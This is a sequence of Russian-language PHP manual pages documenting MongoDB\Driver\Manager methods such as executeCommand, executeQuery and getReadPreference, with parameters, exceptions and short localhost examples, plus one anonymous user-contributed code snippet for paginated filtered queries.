Этот метод не применяет особую логику к команде. Хотя этот метод принимает "readConcern" и "writeConcern", которые будут включены в документы коанды, эти опции не будут соответствовать значениям по умолчанию из MongoDB URI соединения , и не будет учитываться версия сервера MongoDB. Поэтому пользователям рекомендуется использовать конкретные методы команды чтения и/или записи если это возможно.

Список параметров

db (string)

Имя базы данных, в которой запускается команда.

command (MongoDB\Driver\Command)

Команда для выполнения.

options

options
Опция Тип Описание
readConcern MongoDB\Driver\ReadConcern

Гарантия чтения для применения к операции.

Эта опция доступна в MongoDB 3.2+ и приведёт к исключению во время выполнения, если указана для более старой версии сервера.

readPreference MongoDB\Driver\ReadPreference

Предпочтение чтения, используемая для выбора сервера для выполнения операции.

session MongoDB\Driver\Session

Сессия для связывания с операцией.

writeConcern MongoDB\Driver\WriteConcern

Гарантия записи для применения к операции.

Внимание

При использовании "session" и наличии незавершённых транзакций, вы не можете указать "readConcern" or "writeConcern" option. Это приведёт к выбрасыванию исключения MongoDB\Driver\Exception\InvalidArgumentException. Вместо этого вы должны установить эти две опции при создании транзакции с помощью MongoDB\Driver\Session::startTransaction().

Возвращаемые значения

В случае успешного выполнения возвращает MongoDB\Driver\Cursor.

Ошибки

  • Выбрасывается MongoDB\Driver\Exception\InvalidArgumentException, если опция "session" используется с соответствующей транзакцией в сочетании с опцией "readConcern" или "writeConcern".
  • Выбрасывается MongoDB\Driver\Exception\InvalidArgumentException, если опция "session" используется в сочетании с неподтверждённой гарантией записи.
  • При ошибке парсинга аргумента бросает исключение MongoDB\Driver\Exception\InvalidArgumentException.
  • При неудачном соединении с сервером (кроме ошибок аутентификации), бросает исключение MongoDB\Driver\Exception\ConnectionException.
  • При неудачной аутентификации бросает исключение MongoDB\Driver\Exception\AuthenticationException.
  • При возникновении других ошибок (например, неправильная команда), выбрасывает исключение MongoDB\Driver\Exception\RuntimeException.

Список изменений

Версия | Описание
PECL mongodb 1.4.4 | Если опция "session" используется в сочетании с неподтверждённой гарантией записи, выбрасывается исключение MongoDB\Driver\Exception\InvalidArgumentException.
PECL mongodb 1.4.0 | Третий параметр теперь представляет собой массив options. Для обратной совместимости этот параметр всё равно примет объект MongoDB\Driver\ReadPreference.

Примеры

Пример #1 Пример использования MongoDB\Driver\Manager::executeCommand() с командой, возвращающей одиночный документ

<?php

$manager = new MongoDB\Driver\Manager('mongodb://localhost:27017');
$command = new MongoDB\Driver\Command(['ping' => 1]);

try {
$cursor = $manager->executeCommand('admin', $command);
} catch(MongoDB\Driver\Exception $e) {
echo $e->getMessage(), "\n";
exit;
}

/* Команда ping возвращает одиночный результат, поэтому мы должны получить доступ к
* первому результату в курсор. */
$response = $cursor->toArray()[0];

var_dump($response);

?>

Результат выполнения данного примера:

array(1) {
  ["ok"]=>
  float(1)
}

Пример #2 Пример использования MongoDB\Driver\Manager::executeCommand() с командой, возвращающей курсор

<?php

$manager = new MongoDB\Driver\Manager("mongodb://localhost:27017");

$bulk = new MongoDB\Driver\BulkWrite;
$bulk->insert(['x' => 1, 'y' => 'foo']);
$bulk->insert(['x' => 2, 'y' => 'bar']);
$bulk->insert(['x' => 3, 'y' => 'bar']);
$manager->executeBulkWrite('db.collection', $bulk);

$command = new MongoDB\Driver\Command([
'aggregate' => 'collection',
'pipeline' => [
['$group' => ['_id' => '$y', 'sum' => ['$sum' => '$x']]],
],
'cursor' => new stdClass,
]);
$cursor = $manager->executeCommand('db', $command);

/* Команда aggragete опционально может вернуть результаты в курсоре вместо
* одиночного документа. В таком случае мы можем перебирать на курсоре для
* непосредственного доступа к результатам. */
foreach ($cursor as $document) {
var_dump($document);
}

?>

Результат выполнения данного примера:

object(stdClass)#6 (2) {
  ["_id"]=>
  string(3) "bar"
  ["sum"]=>
  int(10)
}
object(stdClass)#7 (2) {
  ["_id"]=>
  string(3) "foo"
  ["sum"]=>
  int(2)
}

Пример #3 Ограничение времени выполнения запроса

Опция "maxTimeMS" класса MongoDB\Driver\Query может использоваться для ограничения времени выполнения запроса. Обратите внимание, что этот срок применяется на стороне сервера и не учитывает задержки сети. Смотрите » Завершение выполнения операций в руководстве MongoDB для получения дополнительной информации.

<?php

$manager = new MongoDB\Driver\Manager('mongodb://localhost:27017');

$command = new MongoDB\Driver\Command([
'count' => 'collection',
'query' => ['x' => ['$gt' => 1]],
'maxTimeMS' => 1000,
]);

$cursor = $manager->executeCommand('db', $command);

var_dump($cursor->toArray()[0]);

?>

Если запрос не завершится через секунду после начала выполнения на сервере, будет выброшено исключение MongoDB\Driver\Exception\ExecutionTimeoutException.

Примечания

Замечание: Если используется вторичный readPreference, ответственность выполняющего кода гарантировать, что command может быть выполнен на вторичном узле. Проверка не выполняется драйвером.

Смотрите также

  • MongoDB\Driver\Command
  • MongoDB\Driver\Cursor
  • MongoDB\Driver\Manager::executeReadCommand() - Выполняет команду базы данных, которая читает
  • MongoDB\Driver\Manager::executeReadWriteCommand() - Выполняет команду базы данных, которая читает и пишет
  • MongoDB\Driver\Manager::executeWriteCommand() - Выполняет команду базы данных, которая пишет
  • MongoDB\Driver\Server::executeCommand() - Выполнить команду базы данных на сервере

User Contributed Notes

There are no user contributed notes for this page.


Выполняет запрос к базе данных

  • « MongoDB\Driver\Manager::executeCommand
  • MongoDB\Driver\Manager::executeReadCommand »
  • PHP Manual
  • MongoDB\Driver\Manager
  • Выполняет запрос к базе данных

MongoDB\Driver\Manager::executeQuery

(mongodb >=1.0.0)

MongoDB\Driver\Manager::executeQuery — Выполняет запрос к базе данных

Описание

final public MongoDB\Driver\Manager::executeQuery(string $namespace, MongoDB\Driver\Query $query, array|MongoDB\Driver\ReadPreference|null $options = null): MongoDB\Driver\Cursor

Выбирает сервер в соответствии с опцией "readPreference" и выполняет запрос на этом сервере. По умолчанию будет использоваться предпочтение чтения из URI URI подключения MongoDB.

Список параметров

namespace (string)

Полностью определённое имя (т.е. "databaseName.collectionName").

query (MongoDB\Driver\Query)

Запрос для выполнения.

options

options
Опция Тип Описание
readPreference MongoDB\Driver\ReadPreference

Предпочтение чтения, используемая для выбора сервера для выполнения операции.

session MongoDB\Driver\Session

Сессия для связывания с операцией.

Возвращаемые значения

В случае успешного выполнения возвращает MongoDB\Driver\Cursor.

Ошибки

  • При ошибке парсинга аргумента бросает исключение MongoDB\Driver\Exception\InvalidArgumentException.
  • При неудачном соединении с сервером (кроме ошибок аутентификации), бросает исключение MongoDB\Driver\Exception\ConnectionException.
  • При неудачной аутентификации бросает исключение MongoDB\Driver\Exception\AuthenticationException.
  • При возникновении других ошибок (например, неправильные операторы запроса), выбрасывает исключение MongoDB\Driver\Exception\RuntimeException.

Список изменений

Версия | Описание
PECL mongodb 1.4.0 | Третий параметр теперь представляет собой массив options. Для обратной совместимости этот параметр всё равно примет объект MongoDB\Driver\ReadPreference.

Примеры

Пример #1 Пример использования MongoDB\Driver\Manager::executeQuery()

<?php

$manager = new MongoDB\Driver\Manager("mongodb://localhost:27017");

$bulk = new MongoDB\Driver\BulkWrite;
$bulk->insert(['x' => 1]);
$bulk->insert(['x' => 2]);
$bulk->insert(['x' => 3]);
$manager->executeBulkWrite('db.collection', $bulk);

$filter = ['x' => ['$gt' => 1]];
$options = [
'projection' => ['_id' => 0],
'sort' => ['x' => -1],
];

$query = new MongoDB\Driver\Query($filter, $options);
$cursor = $manager->executeQuery('db.collection', $query);

foreach ($cursor as $document) {
var_dump($document);
}

?>

Результат выполнения данного примера:

object(stdClass)#6 (1) {
  ["x"]=>
  int(3)
}
object(stdClass)#7 (1) {
  ["x"]=>
  int(2)
}

Пример #2 Ограничение времени выполнения запроса

Опция "maxTimeMS" класса MongoDB\Driver\Query может использоваться для ограничения времени выполнения запроса. Обратите внимание, что этот срок применяется на стороне сервера и не учитывает задержки сети. Смотрите » Завершение выполнения операций в руководстве MongoDB для получения дополнительной информации.

<?php

$manager = new MongoDB\Driver\Manager('mongodb://localhost:27017');

$filter = ['x' => ['$gt' => 1]];
$options = [
'maxTimeMS' => 1000,
];

$query = new MongoDB\Driver\Query($filter, $options);
$cursor = $manager->executeQuery('db.collection', $query);

foreach ($cursor as $document) {
var_dump($document);
}

?>

Если запрос не завершится через секунду после начала выполнения на сервере, будет выброшено исключение MongoDB\Driver\Exception\ExecutionTimeoutException.

Смотрите также

  • MongoDB\Driver\Cursor
  • MongoDB\Driver\Query
  • MongoDB\Driver\ReadPreference
  • MongoDB\Driver\Server::executeQuery() - Выполняет запрос к базе данных на сервере

User Contributed Notes

Anonymous 05-Mar-2017 04:52
$filter = [];
        if (!empty($mail_brand)) {
            $filter['mx.brand_id'] = intval($mail_brand);
        }
        if (!empty($contacttool_brand)) {
            $filter['contacttool.brand_id'] = intval($contacttool_brand);
        }
        if ($mx_switch_title == 20 || empty($province)) {
            $filter["wwwtitle"] = ['$ne' => null];
        }
        //????
        if (!empty($wwwtitle)) {
            $filter['wwwtitle'] = new \MongoDB\BSON\Regex(".*{$wwwtitle}.*", '');
        }
        //??mx???
        if ($mx_on_switch == 20 || empty($province)) {
            $filter["mx"] = ['$exists' => true];
        }
        //mx????
        if (!empty($mx_vague_check)) {
            $filter["mx.mx"] = new \MongoDB\BSON\Regex(".*{$mx_vague_check}.*", '');
        }

        //????????
        if (empty($province)) {
            $province = "shandong";
        }
        try {
            $options_base = ['connectTimeoutMS' => 500000, 'socketTimeoutMS' => 500000];
            $manager = new \MongoDB\Driver\Manager(C('mongodb_auth_url'), $options_base);
//            $readPreference = $manager->getReadPreference();
//            $server = $manager->selectServer($readPreference);
            $coll = C('default_db') . '.' . $province;
            $options = [
                "skip" => $page,
                "limit" => $rows,
                'projection' => ['createdate' => 0,
                    'expiresdate' => 0,
                    'registrant_city' => 0,
                    'registrant_street' => 0,
                    'registrant_state' => 0,
                    'updatedate' => 0,
                    'whoisserver_id' => 0,
                    'registrar_name_id' => 0,
                    'id' => 0,
                ],
            ];
            //????????
            $commands = [
                'count' => $province,
                'query' => $filter
            ];
            $command = new \MongoDB\Driver\Command($commands);
            $cursor = $manager->executeCommand('mxmanage', $command);
            $info = $cursor->toArray();
            $count = $info[0]->n;
            $query = new \MongoDB\Driver\Query($filter, $options);
            $rows = $manager->executeQuery($coll, $query);
            $info = [];
            foreach ($rows as $document) {
                $doc = (array)$document;
                $doc['_id'] = (string)$doc['_id'];
                $doc['mail_brand_name'] = $doc['mx']->brand_name;
                $doc['mail_mx'] = $doc['mx']->mx ?: '';
                $doc['contacttool_brand_name'] = $doc['contacttool']->brand_name;
                $doc['mx_changetime'] = !$doc['mx_changetime'] ? '' : date('Y-m-d H:i', $doc['mx_changetime']);
                $doc['contacttool_changetime'] = !$doc['contacttool_changetime'] ? '' : date('Y-m-d H:i', $doc['contacttool_changetime']);
                unset($doc['mx']);
                unset($doc['contacttool']);
                $info[] = $doc;
            }
        } catch (\MongoDB\Driver\Exception $e) {
            echo $e->getMessage(), "\n";
            exit;
        }


Выполняет команду базы данных, которая читает

  • « MongoDB\Driver\Manager::executeQuery
  • MongoDB\Driver\Manager::executeReadWriteCommand »
  • PHP Manual
  • MongoDB\Driver\Manager
  • Выполняет команду базы данных, которая читает

MongoDB\Driver\Manager::executeReadCommand

(mongodb >=1.4.0)

MongoDB\Driver\Manager::executeReadCommand — Выполняет команду базы данных, которая читает

Описание

final public MongoDB\Driver\Manager::executeReadCommand(string $db, MongoDB\Driver\Command $command, ?array $options = null): MongoDB\Driver\Cursor

Выбирает сервер в соответствии с опцией "readPreference" и выполняет команду на сервере. По умолчанию будет использоваться предпочтение чтения из URI подключения MongoDB.

Этот метод будет применять логику, специфичную для команд, которые читают (например, » count) и учитывают версию сервера MongoDB. Опция "readConcern" будет по умолчанию соответствовать соответствующему значению из URI подключения MongoDB.

Список параметров

db (string)

Имя базы данных, в которой запускается команда.

command (MongoDB\Driver\Command)

Команда для выполнения.

options

options
Опция Тип Описание
readConcern MongoDB\Driver\ReadConcern

Гарантия чтения для применения к операции.

Эта опция доступна в MongoDB 3.2+ и приведёт к исключению во время выполнения, если указана для более старой версии сервера.

readPreference MongoDB\Driver\ReadPreference

Предпочтение чтения, используемая для выбора сервера для выполнения операции.

session MongoDB\Driver\Session

Сессия для связывания с операцией.

Внимание

При использовании "session" и наличии незавершённых транзакций, вы не можете указать "readConcern" or "writeConcern" option. Это приведёт к выбрасыванию исключения MongoDB\Driver\Exception\InvalidArgumentException. Вместо этого вы должны установить эти две опции при создании транзакции с помощью MongoDB\Driver\Session::startTransaction().

Возвращаемые значения

В случае успешного выполнения возвращает MongoDB\Driver\Cursor.

Ошибки

  • Выбрасывается MongoDB\Driver\Exception\InvalidArgumentException, если опция "session" используется с соответствующей транзакцией в сочетании с опцией "readConcern" или "writeConcern".
  • При ошибке парсинга аргумента бросает исключение MongoDB\Driver\Exception\InvalidArgumentException.
  • При неудачном соединении с сервером (кроме ошибок аутентификации), бросает исключение MongoDB\Driver\Exception\ConnectionException.
  • При неудачной аутентификации бросает исключение MongoDB\Driver\Exception\AuthenticationException.
  • Выдаёт исключение MongoDB\Driver\Exception\RuntimeException для других ошибок (например, неверная команда).

Смотрите также

  • MongoDB\Driver\Command
  • MongoDB\Driver\Cursor
  • MongoDB\Driver\Manager::executeCommand() - Выполняет команду базы данных
  • MongoDB\Driver\Manager::executeReadWriteCommand() - Выполняет команду базы данных, которая читает и пишет
  • MongoDB\Driver\Manager::executeWriteCommand() - Выполняет команду базы данных, которая пишет
  • MongoDB\Driver\Server::executeReadCommand() - Выполняет команду базы данных, которая читает на сервере

User Contributed Notes

There are no user contributed notes for this page.


Выполняет команду базы данных, которая читает и пишет

  • « MongoDB\Driver\Manager::executeReadCommand
  • MongoDB\Driver\Manager::executeWriteCommand »
  • PHP Manual
  • MongoDB\Driver\Manager
  • Выполняет команду базы данных, которая читает и пишет

MongoDB\Driver\Manager::executeReadWriteCommand

(mongodb >=1.4.0)

MongoDB\Driver\Manager::executeReadWriteCommand — Выполняет команду базы данных, которая читает и пишет

Описание

final public MongoDB\Driver\Manager::executeReadWriteCommand(string $db, MongoDB\Driver\Command $command, ?array $options = null): MongoDB\Driver\Cursor

Выполняет команду на основном сервере.

Этот метод будет применять логику, специфичную для команд, которые читают и пишут (например, » aggregate) и учитывают версию сервера MongoDB. Параметры "readConcern" и "writeConcern" по умолчанию соответствуют соответствующим значениям из URI подключения MongoDB.

Список параметров

db (string)

Имя базы данных, в которой запускается команда.

command (MongoDB\Driver\Command)

Команда для выполнения.

options

options
Опция Тип Описание
readConcern MongoDB\Driver\ReadConcern

Гарантия чтения для применения к операции.

Эта опция доступна в MongoDB 3.2+ и приведёт к исключению во время выполнения, если указана для более старой версии сервера.

session MongoDB\Driver\Session

Сессия для связывания с операцией.

writeConcern MongoDB\Driver\WriteConcern

Гарантия записи для применения к операции.

Внимание

При использовании "session" и наличии незавершённых транзакций, вы не можете указать "readConcern" or "writeConcern" option. Это приведёт к выбрасыванию исключения MongoDB\Driver\Exception\InvalidArgumentException. Вместо этого вы должны установить эти две опции при создании транзакции с помощью MongoDB\Driver\Session::startTransaction().

Возвращаемые значения

В случае успешного выполнения возвращает MongoDB\Driver\Cursor.

Ошибки

  • Выбрасывается MongoDB\Driver\Exception\InvalidArgumentException, если опция "session" используется с соответствующей транзакцией в сочетании с опцией "readConcern" или "writeConcern".
  • Выбрасывается MongoDB\Driver\Exception\InvalidArgumentException, если опция "session" используется в сочетании с неподтверждённой гарантией записи.
  • При ошибке парсинга аргумента бросает исключение MongoDB\Driver\Exception\InvalidArgumentException.
  • При неудачном соединении с сервером (кроме ошибок аутентификации), бросает исключение MongoDB\Driver\Exception\ConnectionException.
  • При неудачной аутентификации бросает исключение MongoDB\Driver\Exception\AuthenticationException.
  • Выдаёт исключение MongoDB\Driver\Exception\RuntimeException для других ошибок (например, неверная команда).

Список изменений

Версия | Описание
PECL mongodb 1.4.4 | MongoDB\Driver\Exception\InvalidArgumentException будет выброшено, если опция "session" используется в сочетании с неподтверждённой записью.

Смотрите также

  • MongoDB\Driver\Command
  • MongoDB\Driver\Cursor
  • MongoDB\Driver\Manager::executeCommand() - Выполняет команду базы данных
  • MongoDB\Driver\Manager::executeReadCommand() - Выполняет команду базы данных, которая читает
  • MongoDB\Driver\Manager::executeWriteCommand() - Выполняет команду базы данных, которая пишет
  • MongoDB\Driver\Server::executeReadWriteCommand() - Выполняет команду базы данных, которая читает и пишет на сервере

User Contributed Notes

There are no user contributed notes for this page.


Выполняет команду базы данных, которая пишет

  • « MongoDB\Driver\Manager::executeReadWriteCommand
  • MongoDB\Driver\Manager::getEncryptedFieldsMap »
  • PHP Manual
  • MongoDB\Driver\Manager
  • Выполняет команду базы данных, которая пишет

MongoDB\Driver\Manager::executeWriteCommand

(mongodb >=1.4.0)

MongoDB\Driver\Manager::executeWriteCommand — Выполняет команду базы данных, которая пишет

Описание

final public MongoDB\Driver\Manager::executeWriteCommand(string $db, MongoDB\Driver\Command $command, ?array $options = null): MongoDB\Driver\Cursor

Выполняет команду на основном сервере.

Этот метод будет применять логику, специфичную для команд, которые пишут (например, » drop) и учитывают версию сервера MongoDB. Опция "writeConcern" по умолчанию будет соответствовать значению из URI подключения MongoDB.

Замечание: Метод не предназначен для выполнения » insert, » update, или » delete команд. Пользователям рекомендуется использовать MongoDB\Driver\Manager::executeBulkWrite() для этих команд.

Список параметров

db (string)

Имя базы данных, в которой запускается команда.

command (MongoDB\Driver\Command)

Команда для выполнения.

options

options
Опция Тип Описание
session MongoDB\Driver\Session

Сессия для связывания с операцией.

writeConcern MongoDB\Driver\WriteConcern

Гарантия записи для применения к операции.

Внимание

При использовании "session" и наличии незавершённых транзакций, вы не можете указать "readConcern" or "writeConcern" option. Это приведёт к выбрасыванию исключения MongoDB\Driver\Exception\InvalidArgumentException. Вместо этого вы должны установить эти две опции при создании транзакции с помощью MongoDB\Driver\Session::startTransaction().

Возвращаемые значения

В случае успешного выполнения возвращает MongoDB\Driver\Cursor.

Ошибки

  • Выбрасывается MongoDB\Driver\Exception\InvalidArgumentException, если опция "session" используется с соответствующей транзакцией в сочетании с опцией "readConcern" или "writeConcern".
  • Выбрасывается MongoDB\Driver\Exception\InvalidArgumentException, если опция "session" используется в сочетании с неподтверждённой гарантией записи.
  • При ошибке парсинга аргумента бросает исключение MongoDB\Driver\Exception\InvalidArgumentException.
  • При неудачном соединении с сервером (кроме ошибок аутентификации), бросает исключение MongoDB\Driver\Exception\ConnectionException.
  • При неудачной аутентификации бросает исключение MongoDB\Driver\Exception\AuthenticationException.
  • Выбрасывает исключение MongoDB\Driver\Exception\RuntimeException для других ошибок (например, неверная команда).

Список изменений

Версия | Описание
PECL mongodb 1.4.4 | Будет выброшено MongoDB\Driver\Exception\InvalidArgumentException, если опция "session" используется в сочетании с неподтверждённой записью.

Смотрите также

  • MongoDB\Driver\Command
  • MongoDB\Driver\Cursor
  • MongoDB\Driver\Manager::executeCommand() - Выполняет команду базы данных
  • MongoDB\Driver\Manager::executeReadCommand() - Выполняет команду базы данных, которая читает
  • MongoDB\Driver\Manager::executeReadWriteCommand() - Выполняет команду базы данных, которая читает и пишет
  • MongoDB\Driver\Server::executeWriteCommand() - Выполняет команду базы данных, которая пишет на сервере

User Contributed Notes

There are no user contributed notes for this page.


Возвращает опцию автоматического шифрования encryptedFieldsMap для Manager

  • « MongoDB\Driver\Manager::executeWriteCommand
  • MongoDB\Driver\Manager::getReadConcern »
  • PHP Manual
  • MongoDB\Driver\Manager
  • Возвращает опцию автоматического шифрования encryptedFieldsMap для Manager

MongoDB\Driver\Manager::getEncryptedFieldsMap

(mongodb >=1.14.0)

MongoDB\Driver\Manager::getEncryptedFieldsMap — Возвращает опцию автоматического шифрования encryptedFieldsMap для Manager

Описание

final public MongoDB\Driver\Manager::getEncryptedFieldsMap(): array|object|null

Возвращает параметр encryptedFieldsMap автоматического шифрования для Manager, если он указан.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Параметр encryptedFieldsMap автоматического шифрования для Manager или null, если он не был указан.

Ошибки

  • При ошибке парсинга аргумента бросает исключение MongoDB\Driver\Exception\InvalidArgumentException.

Смотрите также

  • MongoDB\Driver\Manager::__construct() - Создаёт новый Manager MongoDB

User Contributed Notes

There are no user contributed notes for this page.


Возвращает ReadConcern для Manager

  • « MongoDB\Driver\Manager::getEncryptedFieldsMap
  • MongoDB\Driver\Manager::getReadPreference »
  • PHP Manual
  • MongoDB\Driver\Manager
  • Возвращает ReadConcern для Manager

MongoDB\Driver\Manager::getReadConcern

(mongodb >=1.1.0)

MongoDB\Driver\Manager::getReadConcern — Возвращает ReadConcern для Manager

Описание

final public MongoDB\Driver\Manager::getReadConcern(): MongoDB\Driver\ReadConcern

Возвращает MongoDB\Driver\ReadConcern для Manager, полученный из его URI-опций. Это гарантия чтения по умолчанию для запросов и команд, выполняемых в Manager.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

MongoDB\Driver\ReadConcern для Manager.

Ошибки

  • При ошибке парсинга аргумента бросает исключение MongoDB\Driver\Exception\InvalidArgumentException.

Примеры

Пример #1 Пример использования MongoDB\Driver\Manager::getReadConcern()

<?php

$manager = new MongoDB\Driver\Manager('mongodb://localhost:27017');
var_dump($manager->getReadConcern());

$manager = new MongoDB\Driver\Manager('mongodb://localhost:27017/?readConcernLevel=local');
var_dump($manager->getReadConcern());

?>

Результатом выполнения данного примера будет что-то подобное:

object(MongoDB\Driver\ReadConcern)#2 (0) {
}
object(MongoDB\Driver\ReadConcern)#1 (1) {
  ["level"]=>
  string(5) "local"
}

Смотрите также

  • MongoDB\Driver\ReadConcern
  • MongoDB\Driver\Manager::__construct() - Создаёт новый Manager MongoDB

User Contributed Notes

There are no user contributed notes for this page.


Возвращает ReadPreference для Manager

  • « MongoDB\Driver\Manager::getReadConcern
  • MongoDB\Driver\Manager::getServers »
  • PHP Manual
  • MongoDB\Driver\Manager
  • Возвращает ReadPreference для Manager

MongoDB\Driver\Manager::getReadPreference

(mongodb >=1.0.0)

MongoDB\Driver\Manager::getReadPreference — Возвращает ReadPreference для Manager

Описание

final public MongoDB\Driver\Manager::getReadPreference(): MongoDB\Driver\ReadPreference

Возвращает MongoDB\Driver\ReadPreference для Manager, полученный из его URI-опций. Это предпочтение чтения по умолчанию для запросов и команд, выполняемых в Manager.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает MongoDB\Driver\ReadPreference для Manager.

Ошибки

  • При ошибке парсинга аргумента бросает исключение MongoDB\Driver\Exception\InvalidArgumentException.

Примеры

Пример #1 Пример использования MongoDB\Driver\Manager::getReadPreference()

<?php

$manager = new MongoDB\Driver\Manager('mongodb://localhost:27017');
var_dump($manager->getReadPreference());

$manager = new MongoDB\Driver\Manager('mongodb://localhost:27017/?readPreference=secondaryPreferred&readPreferenceTags=dc:ny,rack:1&readPreferenceTags=dc:ny&readPreferenceTags=');
var_dump($manager->getReadPreference());

?>

Результатом выполнения данного примера будет что-то подобное:

object(MongoDB\Driver\ReadPreference)#2 (1) {
  ["mode"]=>
  string(7) "primary"
}
object(MongoDB\Driver\ReadPreference)#1 (2) {
  ["mode"]=>
  string(18) "secondaryPreferred"
  ["tags"]=>
  array(3) {
    [0]=>
    object(stdClass)#3 (2) {
      ["dc"]=>
      string(2) "ny"
      ["rack"]=>
      string(1) "1"
    }
    [1]=>
    object(stdClass)#4 (1) {
      ["dc"]=>
      string(2) "ny"
    }
    [2]=>
    object(stdClass)#5 (0) {
    }
  }
}

Смотрите также

  • MongoDB\Driver\ReadPreference
  • MongoDB\Driver\Manager::__construct() - Создаёт новый Manager MongoDB

User Contributed Notes

There are no user contributed notes for this page.


Возвращает серверы, к которым подключён менеджер

  • « MongoDB\Driver\Manager::getReadPreference
  • MongoDB\Driver\Manager::getWriteConcern »
  • PHP Manual
  • MongoDB\Driver\Manager
  • Возвращает серверы, к которым подключён менеджер

MongoDB\Driver\Manager::getServers

(mongodb >=1.0.0)

MongoDB\Driver\Manager::getServers — Возвращает серверы, к которым подключён менеджер

Описание

final public MongoDB\Driver\Manager::getServers(): array

Возвращает массив (array) экземпляров MongoDB\Driver\Server, к которым подключён текущий менеджер.

Замечание: Поскольку драйвер подключается к базе данных лениво, этот метод может возвращать пустой массив (array), если он вызывается перед выполнением операции в MongoDB\Driver\Manager.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает массив (array) экземпляров MongoDB\Driver\Server, к которым подключён менеджер.

Ошибки

  • При ошибке парсинга аргумента бросает исключение MongoDB\Driver\Exception\InvalidArgumentException.

Примеры

Пример #1 Пример использования MongoDB\Driver\Manager::getServers()

<?php

$manager = new MongoDB\Driver\Manager("mongodb://localhost:27017");

/* Из-за того, что драйвер подключается к серверу лениво, вызов Manager::getServers()
* первоначально может вернуть пустой массив. */
var_dump($manager->getServers());

$command = new MongoDB\Driver\Command(['ping' => 1]);
$manager->executeCommand('db', $command);

var_dump($manager->getServers());

?>

Результатом выполнения данного примера будет что-то подобное:

array(0) {
}
array(1) {
  [0]=>
  object(MongoDB\Driver\Server)#3 (10) {
    ["host"]=>
    string(9) "localhost"
    ["port"]=>
    int(27017)
    ["type"]=>
    int(1)
    ["is_primary"]=>
    bool(false)
    ["is_secondary"]=>
    bool(false)
    ["is_arbiter"]=>
    bool(false)
    ["is_hidden"]=>
    bool(false)
    ["is_passive"]=>
    bool(false)
    ["last_hello_response"]=>
    array(8) {
      ["isWritablePrimary"]=>
      bool(true)
      ["maxBsonObjectSize"]=>
      int(16777216)
      ["maxMessageSizeBytes"]=>
      int(48000000)
      ["maxWriteBatchSize"]=>
      int(1000)
      ["localTime"]=>
      object(MongoDB\BSON\UTCDateTime)#4 (1) {
        ["milliseconds"]=>
        int(1447267964517)
      }
      ["maxWireVersion"]=>
      int(3)
      ["minWireVersion"]=>
      int(0)
      ["ok"]=>
      float(1)
    }
    ["round_trip_time"]=>
    int(554)
  }
}

Смотрите также

  • MongoDB\Driver\Server
  • MongoDB\Driver\Manager::selectServer() - Выбрать сервер, соответствующий предпочтениям чтения

User Contributed Notes

There are no user contributed notes for this page.


Возвращает WriteConcern для Manager

  • « MongoDB\Driver\Manager::getServers
  • MongoDB\Driver\Manager::removeSubscriber »
  • PHP Manual
  • MongoDB\Driver\Manager
  • Возвращает WriteConcern для Manager

MongoDB\Driver\Manager::getWriteConcern

(mongodb >=1.0.0)

MongoDB\Driver\Manager::getWriteConcern — Возвращает WriteConcern для Manager

Описание

final public MongoDB\Driver\Manager::getWriteConcern(): MongoDB\Driver\WriteConcern

Возвращает MongoDB\Driver\WriteConcern для Manager, полученный из его URI-опций. Это гарантия записи по умолчанию для запросов и команд, выполняемых в Manager.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

MongoDB\Driver\WriteConcern для Manager.

Ошибки

  • При ошибке парсинга аргумента бросает исключение MongoDB\Driver\Exception\InvalidArgumentException.

Примеры

Пример #1 Пример использования MongoDB\Driver\Manager::getWriteConcern()

<?php

$manager = new MongoDB\Driver\Manager('mongodb://localhost:27017');
var_dump($manager->getWriteConcern());

$manager = new MongoDB\Driver\Manager('mongodb://localhost:27017/?w=majority&wtimeoutMS=2000');
var_dump($manager->getWriteConcern());

?>

Результатом выполнения данного примера будет что-то подобное:

object(MongoDB\Driver\WriteConcern)#2 (0) {
}
object(MongoDB\Driver\WriteConcern)#1 (2) {
  ["w"]=>
  string(8) "majority"
  ["wtimeout"]=>
  int(2000)
}

Смотрите также

  • MongoDB\Driver\WriteConcern
  • MongoDB\Driver\Manager::__construct() - Создаёт новый Manager MongoDB

User Contributed Notes

There are no user contributed notes for this page.


Отменяет регистрацию подписчика на событие мониторинга в данном объекте Manager

  • « MongoDB\Driver\Manager::getWriteConcern
  • MongoDB\Driver\Manager::selectServer »
  • PHP Manual
  • MongoDB\Driver\Manager
  • Отменяет регистрацию подписчика на событие мониторинга в данном объекте Manager

MongoDB\Driver\Manager::removeSubscriber

(mongodb >=1.10.0)

MongoDB\Driver\Manager::removeSubscriber — Отменяет регистрацию подписчика на событие мониторинга в данном объекте Manager

Описание

final public MongoDB\Driver\Manager::removeSubscriber(MongoDB\Driver\Monitoring\Subscriber $subscriber): void

Отменяет регистрацию подписчика на событие мониторинга в данном объекте Manager.

Замечание: Если subscriber ещё не зарегистрирован в данном объекте Manager, функция отработает без результата.

Список параметров

subscriber (MongoDB\Driver\Monitoring\Subscriber)

Подписчик на событие мониторинга, которому необходимо отменить регистрацию в данном объекте Manager.

Возвращаемые значения

Функция не возвращает значения после выполнения.

Ошибки

  • При ошибке парсинга аргумента бросает исключение MongoDB\Driver\Exception\InvalidArgumentException.

Смотрите также

  • MongoDB\Driver\Manager::addSubscriber() - Регистрирует подписчика на событие мониторинга в данном объекте Manager
  • MongoDB\Driver\Monitoring\Subscriber
  • MongoDB\Driver\Monitoring\CommandSubscriber
  • MongoDB\Driver\Monitoring\removeSubscriber() - Отменяет глобальную регистрацию подписчика на событие мониторинга
  • Мониторинг производительности приложения (Application Performance Monitoring или APM)

User Contributed Notes

There are no user contributed notes for this page.


Выбрать сервер, соответствующий предпочтениям чтения

  • « MongoDB\Driver\Manager::removeSubscriber
  • MongoDB\Driver\Manager::startSession »
  • PHP Manual
  • MongoDB\Driver\Manager
  • Выбрать сервер, соответствующий предпочтениям чтения

MongoDB\Driver\Manager::selectServer

(mongodb >=1.0.0)

MongoDB\Driver\Manager::selectServer — Выбрать сервер, соответствующий предпочтениям чтения

Описание

final public MongoDB\Driver\Manager::selectServer(?MongoDB\Driver\ReadPreference $readPreference = null): MongoDB\Driver\Server

Выбирает MongoDB\Driver\Server, соответствующий readPreference. Если параметр readPreference равен null или опущен, по умолчанию будет выбран первичный сервер. Это можно использовать для предварительного выбора сервера, чтобы выполнить проверку версии перед выполнением операции.

